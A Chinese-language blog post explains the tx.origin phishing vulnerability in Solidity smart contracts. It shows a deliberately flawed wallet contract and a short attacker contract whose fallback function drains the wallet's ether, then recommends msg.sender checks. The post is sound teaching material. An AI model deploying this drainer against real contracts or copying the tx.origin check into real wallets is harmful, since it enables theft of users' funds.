共计 1118 个字符,预计需要花费 3 分钟才能阅读完成。
简介
tx.origin 是 Solidity 的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。
但针对 tx.origin 的使用并不用谈虎色变,正确的使用还是有它的应用场景的。
漏洞详解
漏洞合约
在如下合约中使用到了 tx.origin 的判断。
pragma solidity ^0.4.11;
// 不要使用这个合约,其中包含一个 bug。contract TxUserWallet {
address owner;
function TxUserWallet() public {owner = msg.sender;}
function transferTo(address dest, uint amount) public {require(tx.origin == owner);
dest.transfer(amount);
}
}
上面的合约提供了构造函数(新版本中使用 constructor)和转账方法。其中在转账方法 transferTo 中进行了 owner 的判断,这里用到了 tx.origin。
攻击者合约
下面看一下攻击者的合约:
pragma solidity ^0.4.11;
interface TxUserWallet {function transferTo(address dest, uint amount) public;
}
contract TxAttackWallet {
address owner;
function TxAttackWallet() public {owner = msg.sender;}
function () public {TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
攻击者创建一个上面的合约,然后通过各种骗术来欺骗你用正常合约(TxUserWallet)的拥有者的地址向该攻击合约(TxAttackWallet)转账。然后区块链会默认调用攻击合约的 fallback 方法,也就是最后没有方法名的方法,并执行转账操作。
而此时 TxUserWallet 合约里面的校验是可以正常通过的。因为 tx.origin 是最初发起交易的地址,也就是合约拥有者的地址。然后,地址里面的 ether 便被转到攻击者地址中。
使用提醒
tx.origin 不应该用于智能合约的授权。更多的时候采用 msg.sender == owner 来进行判断。
但它也有自己使用的场景,比如想要拒绝外部合约调用当前合约则可使用 require(tx.origin ==msg.sender)来进行实现。
原文链接:https://www.choupangxia.com/2…
正文完
发表至: java
2019-07-18